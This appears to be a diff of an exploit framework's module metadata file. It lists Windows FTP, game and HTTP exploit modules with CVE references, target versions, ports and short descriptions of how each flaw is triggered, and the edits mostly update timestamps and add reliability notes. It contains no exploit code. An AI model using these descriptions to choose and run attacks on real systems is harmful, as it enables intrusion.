"description": "This module exploits a buffer overflow in the WinaXe 7.7 FTP client.\n This issue is triggered when a client connects to the server and is\n expecting the Server Ready response.", + "description": "This module exploits a buffer overflow in the WinaXe 7.7 FTP client.\n This issue is triggered when a client connects to the server and is\n expecting the Server Ready response.", "references": [ "EDB-40693", "URL-http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt" @@ -163528,16 +167608,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/winaxe_server_ready.rb", "is_install_path": true, "ref_name": "windows/ftp/winaxe_server_ready", @@ -163545,6 +167621,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -163552,9 +167637,7 @@ "exploit_windows/ftp/wing_ftp_admin_exec": { "name": "Wing FTP Server Authenticated Command Execution", "fullname": "exploit/windows/ftp/wing_ftp_admin_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-06-19", "type": "exploit", @@ -163562,7 +167645,7 @@ "Nicholas Nam ", "Imran E. Dawoodjee " ], - "description": "This module exploits the embedded Lua interpreter in the admin web interface for\n versions 3.0.0 and above. When supplying a specially crafted HTTP POST request\n an attacker can use os.execute() to execute arbitrary system commands on\n the target with SYSTEM privileges.", + "description": "This module exploits the embedded Lua interpreter in the admin web interface for\n versions 3.0.0 and above. When supplying a specially crafted HTTP POST request\n an attacker can use os.execute() to execute arbitrary system commands on\n the target with SYSTEM privileges.", "references": [ "URL-http://www.wftpserver.com", "URL-https://www.wftpserver.com/help/ftpserver/index.html?administrator_console.htm" @@ -163588,7 +167671,7 @@ "targets": [ "Wing FTP Server >= 3.0.0" ], - "mod_time": "2021-02-17 12:33:59 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/wing_ftp_admin_exec.rb", "is_install_path": true, "ref_name": "windows/ftp/wing_ftp_admin_exec", @@ -163596,6 +167679,15 @@ "post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -163603,9 +167695,7 @@ "exploit_windows/ftp/wsftp_server_503_mkd": { "name": "WS-FTP Server 5.03 MKD Overflow", "fullname": "exploit/windows/ftp/wsftp_server_503_mkd", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2004-11-29", "type": "exploit", @@ -163613,7 +167703,7 @@ "et ", "Reed Arvin " ], - "description": "This module exploits the buffer overflow found in the MKD\n command in IPSWITCH WS_FTP Server 5.03 discovered by Reed\n Arvin.", + "description": "This module exploits the buffer overflow found in the MKD\n command in IPSWITCH WS_FTP Server 5.03 discovered by Reed\n Arvin.", "references": [ "CVE-2004-1135", "OSVDB-12509", @@ -163632,7 +167722,7 @@ "targets": [ "WS-FTP Server 5.03 Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/wsftp_server_503_mkd.rb", "is_install_path": true, "ref_name": "windows/ftp/wsftp_server_503_mkd", @@ -163640,6 +167730,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -163647,16 +167746,14 @@ "exploit_windows/ftp/wsftp_server_505_xmd5": { "name": "Ipswitch WS_FTP Server 5.05 XMD5 Overflow", "fullname": "exploit/windows/ftp/wsftp_server_505_xmd5", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-09-14", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a buffer overflow in the XMD5 verb in\n IPSWITCH WS_FTP Server 5.05.", + "description": "This module exploits a buffer overflow in the XMD5 verb in\n IPSWITCH WS_FTP Server 5.05.", "references": [ "CVE-2006-4847", "OSVDB-28939", @@ -163677,7 +167774,7 @@ "Windows XP Pro SP0 English", "Windows XP Pro SP1 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb", "is_install_path": true, "ref_name": "windows/ftp/wsftp_server_505_xmd5", @@ -163685,6 +167782,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -163692,9 +167798,7 @@ "exploit_windows/ftp/xftp_client_pwd": { "name": "Xftp FTP Client 3.0 PWD Remote Buffer Overflow", "fullname": "exploit/windows/ftp/xftp_client_pwd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-04-22", "type": "exploit", @@ -163702,7 +167806,7 @@ "zombiefx", "dookie" ], - "description": "This module exploits a buffer overflow in the Xftp 3.0 FTP client that is triggered\n through an excessively long PWD message.", + "description": "This module exploits a buffer overflow in the Xftp 3.0 FTP client that is triggered\n through an excessively long PWD message.", "references": [ "OSVDB-63968", "EDB-12332" @@ -163710,16 +167814,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/xftp_client_pwd.rb", "is_install_path": true, "ref_name": "windows/ftp/xftp_client_pwd", @@ -163727,6 +167827,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -163734,16 +167843,14 @@ "exploit_windows/ftp/xlink_client": { "name": "Xlink FTP Client Buffer Overflow", "fullname": "exploit/windows/ftp/xlink_client", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-10-03", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Xlink FTP Client 32\n Version 3.01 that comes bundled with Omni-NFS Enterprise 5.2.\n When an overly long FTP server response is received by a client,\n arbitrary code may be executed.", + "description": "This module exploits a stack buffer overflow in Xlink FTP Client 32\n Version 3.01 that comes bundled with Omni-NFS Enterprise 5.2.\n When an overly long FTP server response is received by a client,\n arbitrary code may be executed.", "references": [ "CVE-2006-5792", "OSVDB-33969", @@ -163752,17 +167859,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP Pro SP3 English", "Windows 2000 SP4 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/xlink_client.rb", "is_install_path": true, "ref_name": "windows/ftp/xlink_client", @@ -163770,6 +167873,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -163777,16 +167889,14 @@ "exploit_windows/ftp/xlink_server": { "name": "Xlink FTP Server Buffer Overflow", "fullname": "exploit/windows/ftp/xlink_server", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-10-03", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Xlink FTP Server\n that comes bundled with Omni-NFS Enterprise 5.2.\n When a overly long FTP request is sent to the server,\n arbitrary code may be executed.", + "description": "This module exploits a stack buffer overflow in Xlink FTP Server\n that comes bundled with Omni-NFS Enterprise 5.2.\n When a overly long FTP request is sent to the server,\n arbitrary code may be executed.", "references": [ "CVE-2006-5792", "OSVDB-58646", @@ -163805,7 +167915,7 @@ "targets": [ "Omni-NFS Enterprise V5.2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/xlink_server.rb", "is_install_path": true, "ref_name": "windows/ftp/xlink_server", @@ -163813,6 +167923,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -163820,16 +167939,14 @@ "exploit_windows/games/mohaa_getinfo": { "name": "Medal of Honor Allied Assault getinfo Stack Buffer Overflow", "fullname": "exploit/windows/games/mohaa_getinfo", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2004-07-17", "type": "exploit", "author": [ "Jacopo Cervini" ], - "description": "This module exploits a stack based buffer overflow in the getinfo\n command of Medal Of Honor Allied Assault.", + "description": "This module exploits a stack based buffer overflow in the getinfo\n command of Medal Of Honor Allied Assault.", "references": [ "CVE-2004-0735", "OSVDB-8061", @@ -163839,16 +167956,12 @@ "platform": "Windows", "arch": "", "rport": 12203, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Medal Of Honor Allied Assault v 1.0 Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/games/mohaa_getinfo.rb", "is_install_path": true, "ref_name": "windows/games/mohaa_getinfo", @@ -163856,6 +167969,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -163863,16 +167985,14 @@ "exploit_windows/games/racer_503beta5": { "name": "Racer v0.5.3 Beta 5 Buffer Overflow", "fullname": "exploit/windows/games/racer_503beta5", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2008-08-10", "type": "exploit", "author": [ "Trancek " ], - "description": "This module exploits the Racer Car and Racing Simulator game\n versions v0.5.3 beta 5 and earlier. Both the client and server listen\n on UDP port 26000. By sending an overly long buffer we are able to\n execute arbitrary code remotely.", + "description": "This module exploits the Racer Car and Racing Simulator game\n versions v0.5.3 beta 5 and earlier. Both the client and server listen\n on UDP port 26000. By sending an overly long buffer we are able to\n execute arbitrary code remotely.", "references": [ "CVE-2007-4370", "OSVDB-39601", @@ -163882,18 +168002,14 @@ "platform": "Windows", "arch": "", "rport": 26000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Fmodex.dll - Universal", "Win XP SP2 English", "Win XP SP2 Spanish" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/games/racer_503beta5.rb", "is_install_path": true, "ref_name": "windows/games/racer_503beta5", @@ -163901,6 +168017,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -163908,16 +168033,14 @@ "exploit_windows/games/ut2004_secure": { "name": "Unreal Tournament 2004 \"secure\" Overflow (Win32)", "fullname": "exploit/windows/games/ut2004_secure", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2004-06-18", "type": "exploit", "author": [ "stinko " ], - "description": "This is an exploit for the GameSpy secure query in\n the Unreal Engine.\n\n This exploit only requires one UDP packet, which can\n be both spoofed and sent to a broadcast address.\n Usually, the GameSpy query server listens on port 7787,\n but you can manually specify the port as well.\n\n The RunServer.sh script will automatically restart the\n server upon a crash, giving us the ability to\n bruteforce the service and exploit it multiple\n times.", + "description": "This is an exploit for the GameSpy secure query in\n the Unreal Engine.\n\n This exploit only requires one UDP packet, which can\n be both spoofed and sent to a broadcast address.\n Usually, the GameSpy query server listens on port 7787,\n but you can manually specify the port as well.\n\n The RunServer.sh script will automatically restart the\n server upon a crash, giving us the ability to\n bruteforce the service and exploit it multiple\n times.", "references": [ "CVE-2004-0608", "OSVDB-7217", @@ -163926,16 +168049,12 @@ "platform": "Windows", "arch": "", "rport": 7787, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "UT2004 Build 3186" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/games/ut2004_secure.rb", "is_install_path": true, "ref_name": "windows/games/ut2004_secure", @@ -163943,6 +168062,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -163950,16 +168078,14 @@ "exploit_windows/http/adobe_robohelper_authbypass": { "name": "Adobe RoboHelp Server 8 Arbitrary File Upload and Execute", "fullname": "exploit/windows/http/adobe_robohelper_authbypass", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-09-23", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits an authentication bypass vulnerability which\n allows remote attackers to upload and execute arbitrary code.", + "description": "This module exploits an authentication bypass vulnerability which\n allows remote attackers to upload and execute arbitrary code.", "references": [ "CVE-2009-3068", "OSVDB-57896", @@ -163987,7 +168113,7 @@ "targets": [ "Universal Windows Target" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/adobe_robohelper_authbypass.rb", "is_install_path": true, "ref_name": "windows/http/adobe_robohelper_authbypass", @@ -163995,6 +168121,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -164002,9 +168137,7 @@ "exploit_windows/http/advantech_iview_networkservlet_cmd_inject": { "name": "Advantech iView NetworkServlet Command Injection", "fullname": "exploit/windows/http/advantech_iview_networkservlet_cmd_inject", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-06-28", "type": "exploit", @@ -164065,9 +168198,7 @@ "exploit_windows/http/advantech_iview_unauth_rce": { "name": "Advantech iView Unauthenticated Remote Code Execution", "fullname": "exploit/windows/http/advantech_iview_unauth_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-02-09", "type": "exploit", @@ -164130,9 +168261,7 @@ "exploit_windows/http/ajaxpro_deserialization_rce": { "name": "AjaxPro Deserialization Remote Code Execution", "fullname": "exploit/windows/http/ajaxpro_deserialization_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-12-03", "type": "exploit", @@ -164193,16 +168322,14 @@ "exploit_windows/http/altn_securitygateway": { "name": "Alt-N SecurityGateway username Buffer Overflow", "fullname": "exploit/windows/http/altn_securitygateway", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2008-06-02", "type": "exploit", "author": [ "jduck " ], - "description": "Alt-N SecurityGateway is prone to a buffer overflow condition. This\n is due to insufficient bounds checking on the \"username\"\n parameter. Successful exploitation could result in code\n execution with SYSTEM level privileges.\n\n NOTE: This service doesn't restart, you'll only get one shot. However,\n it often survives a successful exploitation attempt.", + "description": "Alt-N SecurityGateway is prone to a buffer overflow condition. This\n is due to insufficient bounds checking on the \"username\"\n parameter. Successful exploitation could result in code\n execution with SYSTEM level privileges.\n\n NOTE: This service doesn't restart, you'll only get one shot. However,\n it often survives a successful exploitation attempt.", "references": [ "CVE-2008-4193", "OSVDB-45854", @@ -164230,7 +168357,7 @@ "Automatic Targeting", "SecurityGateway 1.0.1 Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/altn_securitygateway.rb", "is_install_path": true, "ref_name": "windows/http/altn_securitygateway", @@ -164238,6 +168365,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -164245,16 +168381,14 @@ "exploit_windows/http/altn_webadmin": { "name": "Alt-N WebAdmin USER Buffer Overflow", "fullname": "exploit/windows/http/altn_webadmin", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2003-06-24", "type": "exploit", "author": [ "MC " ], - "description": "Alt-N WebAdmin is prone to a buffer overflow condition. This\n is due to insufficient bounds checking on the USER\n parameter. Successful exploitation could result in code\n execution with SYSTEM level privileges.", + "description": "Alt-N WebAdmin is prone to a buffer overflow condition. This\n is due to insufficient bounds checking on the USER\n parameter. Successful exploitation could result in code\n execution with SYSTEM level privileges.", "references": [ "CVE-2003-0471", "OSVDB-2207", @@ -164286,7 +168420,7 @@ "WebAdmin 2.0.2 Universal", "WebAdmin 2.0.1 Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/altn_webadmin.rb", "is_install_path": true, "ref_name": "windows/http/altn_webadmin", @@ -164294,6 +168428,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -164301,16 +168444,14 @@ "exploit_windows/http/amlibweb_webquerydll_app": { "name": "Amlibweb NetOpacs webquery.dll Stack Buffer Overflow", "fullname": "exploit/windows/http/amlibweb_webquerydll_app", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-08-03", "type": "exploit", "author": [ "aushack " ], - "description": "This module exploits a stack buffer overflow in Amlib's Amlibweb\n Library Management System (NetOpacs). The webquery.dll\n API is available through IIS requests. By specifying\n an overly long string to the 'app' parameter, SeH can be\n reliably overwritten allowing for arbitrary remote code execution.\n In addition, it is possible to overwrite EIP by specifying\n an arbitrary parameter name with an '=' terminator.", + "description": "This module exploits a stack buffer overflow in Amlib's Amlibweb\n Library Management System (NetOpacs). The webquery.dll\n API is available through IIS requests. By specifying\n an overly long string to the 'app' parameter, SeH can be\n reliably overwritten allowing for arbitrary remote code execution.\n In addition, it is possible to overwrite EIP by specifying\n an arbitrary parameter name with an '=' terminator.", "references": [ "OSVDB-66814", "BID-42293", @@ -164319,16 +168460,12 @@ "platform": "Windows", "arch": "x86", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro All - English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/amlibweb_webquerydll_app.rb", "is_install_path": true, "ref_name": "windows/http/amlibweb_webquerydll_app", @@ -164336,6 +168473,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -164343,9 +168489,7 @@ "exploit_windows/http/apache_activemq_traversal_upload": { "name": "Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload", "fullname": "exploit/windows/http/apache_activemq_traversal_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-08-19", "type": "exploit", @@ -164405,9 +168549,7 @@ "exploit_windows/http/apache_chunked": { "name": "Apache Win32 Chunked Encoding", "fullname": "exploit/windows/http/apache_chunked", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2002-06-19", "type": "exploit", @@ -164415,7 +168557,7 @@ "hdm ", "jduck " ], - "description": "This module exploits the chunked transfer integer wrap\n vulnerability in Apache version 1.2.x to 1.3.24. This\n particular module has been tested with all versions of the\n official Win32 build between 1.3.9 and 1.3.24. Additionally,\n it should work against most co-branded and bundled versions\n of Apache (Oracle 8i, 9i, IBM HTTPD, etc).\n\n You will need to use the Check() functionality to determine\n the exact target version prior to launching the exploit. The\n version of Apache bundled with Oracle 8.1.7 will not\n automatically restart, so if you use the wrong target value,\n the server will crash.", + "description": "This module exploits the chunked transfer integer wrap\n vulnerability in Apache version 1.2.x to 1.3.24. This\n particular module has been tested with all versions of the\n official Win32 build between 1.3.9 and 1.3.24. Additionally,\n it should work against most co-branded and bundled versions\n of Apache (Oracle 8i, 9i, IBM HTTPD, etc).\n\n You will need to use the Check() functionality to determine\n the exact target version prior to launching the exploit. The\n version of Apache bundled with Oracle 8.1.7 will not\n automatically restart, so if you use the wrong target value,\n the server will crash.", "references": [ "CVE-2002-0392", "OSVDB-838", @@ -164454,7 +168596,7 @@ "Oracle 9.2.0 Apache 1.3.22", "Debugging Target" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/apache_chunked.rb", "is_install_path": true, "ref_name": "windows/http/apache_chunked", @@ -164462,6 +168604,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -164469,16 +168620,14 @@ "exploit_windows/http/apache_mod_rewrite_ldap": { "name": "Apache Module mod_rewrite LDAP Protocol Buffer Overflow", "fullname": "exploit/windows/http/apache_mod_rewrite_ldap", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2006-07-28", "type": "exploit", "author": [ "aushack " ], - "description": "This module exploits the mod_rewrite LDAP protocol scheme handling\n flaw discovered by Mark Dowd, which produces an off-by-one overflow.\n Apache versions 1.3.29-36, 2.0.47-58, and 2.2.1-2 are vulnerable.\n This module requires REWRITEPATH to be set accurately. In addition,\n the target must have 'RewriteEngine on' configured, with a specific\n 'RewriteRule' condition enabled to allow for exploitation.\n\n The flaw affects multiple platforms, however this module currently\n only supports Windows based installations.", + "description": "This module exploits the mod_rewrite LDAP protocol scheme handling\n flaw discovered by Mark Dowd, which produces an off-by-one overflow.\n Apache versions 1.3.29-36, 2.0.47-58, and 2.2.1-2 are vulnerable.\n This module requires REWRITEPATH to be set accurately. In addition,\n the target must have 'RewriteEngine on' configured, with a specific\n 'RewriteRule' condition enabled to allow for exploitation.\n\n The flaw affects multiple platforms, however this module currently\n only supports Windows based installations.", "references": [ "CVE-2006-3747", "OSVDB-27588", @@ -164509,7 +168658,7 @@ "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/apache_mod_rewrite_ldap.rb", "is_install_path": true, "ref_name": "windows/http/apache_mod_rewrite_ldap", @@ -164517,6 +168666,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -164524,16 +168682,14 @@ "exploit_windows/http/apache_modjk_overflow": { "name": "Apache mod_jk 1.2.20 Buffer Overflow", "fullname": "exploit/windows/http/apache_modjk_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2007-03-02", "type": "exploit", "author": [ "Nicob " ], - "description": "This is a stack buffer overflow exploit for mod_jk 1.2.20.\n Should work on any Win32 OS.", + "description": "This is a stack buffer overflow exploit for mod_jk 1.2.20.\n Should work on any Win32 OS.", "references": [ "CVE-2007-0774", "OSVDB-33855", @@ -164543,16 +168699,12 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "mod_jk 1.2.20 (Apache 1.3.x/2.0.x/2.2.x) (any win32 OS/language)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/apache_modjk_overflow.rb", "is_install_path": true, "ref_name": "windows/http/apache_modjk_overflow", @@ -164560,6 +168712,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -164567,9 +168728,7 @@ "exploit_windows/http/apache_tika_jp2_jscript": { "name": "Apache Tika Header Command Injection", "fullname": "exploit/windows/http/apache_tika_jp2_jscript", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-04-25", "type": "exploit", @@ -164578,7 +168737,7 @@ "David Yesland", "Tim Allison" ], - "description": "This module exploits a command injection vulnerability in Apache\n Tika 1.15 - 1.17 on Windows. A file with the image/jp2 content-type is\n used to bypass magic bytes checking. When OCR is specified in the\n request, parameters can be passed to change the parameters passed\n at command line to allow for arbitrary JScript to execute. A\n JScript stub is passed to execute arbitrary code. This module was\n verified against version 1.15 - 1.17 on Windows 2012.\n While the CVE and finding show more versions vulnerable, during\n testing it was determined only > 1.14 was exploitable due to\n jp2 support being added.", + "description": "This module exploits a command injection vulnerability in Apache\n Tika 1.15 - 1.17 on Windows. A file with the image/jp2 content-type is\n used to bypass magic bytes checking. When OCR is specified in the\n request, parameters can be passed to change the parameters passed\n at command line to allow for arbitrary JScript to execute. A\n JScript stub is passed to execute arbitrary code. This module was\n verified against version 1.15 - 1.17 on Windows 2012.\n While the CVE and finding show more versions vulnerable, during\n testing it was determined only > 1.14 was exploitable due to\n jp2 support being added.", "references": [ "EDB-46540", "URL-https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/", @@ -164606,7 +168765,7 @@ "targets": [ "Windows" ], - "mod_time": "2021-02-17 12:33:59 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/apache_tika_jp2_jscript.rb", "is_install_path": true, "ref_name": "windows/http/apache_tika_jp2_jscript", @@ -164614,6 +168773,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -164621,9 +168789,7 @@ "exploit_windows/http/avaya_ccr_imageupload_exec": { "name": "Avaya IP Office Customer Call Reporter ImageUpload.ashx Remote Command Execution", "fullname": "exploit/windows/http/avaya_ccr_imageupload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-06-28", "type": "exploit", @@ -164660,24 +168826,21 @@ "targets": [ "Avaya IP Office Customer Call Reporter 7.0 and 8.0 / Microsoft Windows Server 2003 SP2" ], - "mod_time": "2019-08-02 09:48:53 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb", "is_install_path": true, "ref_name": "windows/http/avaya_ccr_imageupload_exec", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/badblue_ext_overflow": { "name": "BadBlue 2.5 EXT.dll Buffer Overflow", "fullname": "exploit/windows/http/badblue_ext_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2003-04-20", "type": "exploit", @@ -164711,7 +168874,7 @@ "targets": [ "BadBlue 2.5 (Universal)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/badblue_ext_overflow.rb", "is_install_path": true, "ref_name": "windows/http/badblue_ext_overflow", @@ -164719,6 +168882,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -164726,16 +168898,14 @@ "exploit_windows/http/badblue_passthru": { "name": "BadBlue 2.72b PassThru Buffer Overflow", "fullname": "exploit/windows/http/badblue_passthru", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2007-12-10", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in the PassThru\n functionality in ext.dll in BadBlue 2.72b and earlier.", + "description": "This module exploits a stack buffer overflow in the PassThru\n functionality in ext.dll in BadBlue 2.72b and earlier.", "references": [ "CVE-2007-6377", "OSVDB-42416", @@ -164763,7 +168933,7 @@ "BadBlue EE 2.7 Universal", "BadBlue 2.72b Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/badblue_passthru.rb", "is_install_path": true, "ref_name": "windows/http/badblue_passthru", @@ -164771,6 +168941,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": 